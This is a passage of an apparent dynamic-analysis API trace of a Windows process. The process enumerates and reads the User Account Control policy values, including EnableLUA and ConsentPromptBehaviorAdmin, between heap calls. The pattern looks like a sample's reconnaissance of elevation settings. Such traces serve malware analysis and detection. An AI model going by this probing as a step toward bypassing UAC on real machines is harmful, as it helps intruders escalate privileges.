lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0026.506] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0x24) returned 0x0 [0026.506] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb930) returned 1 [0026.506] RegCloseKey (hKey=0xa0) returned 0x0 [0026.506] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.506] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3eb860 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb878 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.506] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb888 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.506] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb898 [0026.506] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb930 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3eb940 [0026.507] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb860 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb968 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb978 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb988 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x30) returned 0x3eb998 [0026.507] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb940) returned 1 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb940 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec318 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb950 [0026.507] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.507] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9d0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3a8 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9e0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3f0 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec438 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb998) returned 1 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb998 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec480 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9a8 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec4c8 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9b8 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec510 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9f0 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec558 [0026.508] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.508] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb878) returned 1 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.508] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb888) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec168) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb898) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1b0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb930) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec240) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb968) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb978) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec2d0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb988) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec318) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb940) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec360) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb950) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec3a8) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb9d0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec3f0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb9e0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec480) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb998) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec4c8) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb9a8) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec510) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb9b8) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec558) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb9f0) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec438) returned 1 [0026.509] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec438 [0026.509] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x34f41c, lpData=0x0, lpcbData=0x34f424*=0x0 | out: lpType=0x34f41c*=0x4, lpData=0x0, lpcbData=0x34f424*=0x4) returned 0x0 [0026.509] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x34f41c, lpData=0x3ec438, lpcbData=0x34f424*=0x4 | out: lpType=0x34f41c*=0x4, lpData=0x3ec438*=0x1, lpcbData=0x34f424*=0x4) returned 0x0 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec438) returned 1 [0026.509] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.509] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3eb860 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb878 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb888 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec438 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb898 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec558 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb930 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec510 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3eb940 [0026.510] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb860 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec4c8 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb968 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec480 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb978 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3f0 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb988 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3a8 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x30) returned 0x3eb998 [0026.510] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb940) returned 1 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb940 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.510] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.510] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb950 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec318 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9d0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9e0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb998) returned 1 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb998 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3eb9a8 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1e8 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1f8 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.511] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.511] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb878) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec438) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb888) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec558) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb898) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec510) returned 1 [0026.511] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb930) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec4c8) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb860) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec480) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb968) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec3f0) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eb978) returned 1 [0026.512] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec3a8) returned 1 [0026.512] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x34f41c, lpData=0x0, lpcbData=0x34f424*=0x0 | out: lpType=0x34f41c*=0x4, lpData=0x0, lpcbData=0x34f424*=0x4) returned 0x0 [0026.512] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x34f41c, lpData=0x3ec240, lpcbData=0x34f424*=0x4 | out: lpType=0x34f41c*=0x4, lpData=0x3ec240*=0x5, lpcbData=0x34f424*=0x4) returned 0x0 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.512] RtlAllocateHeap 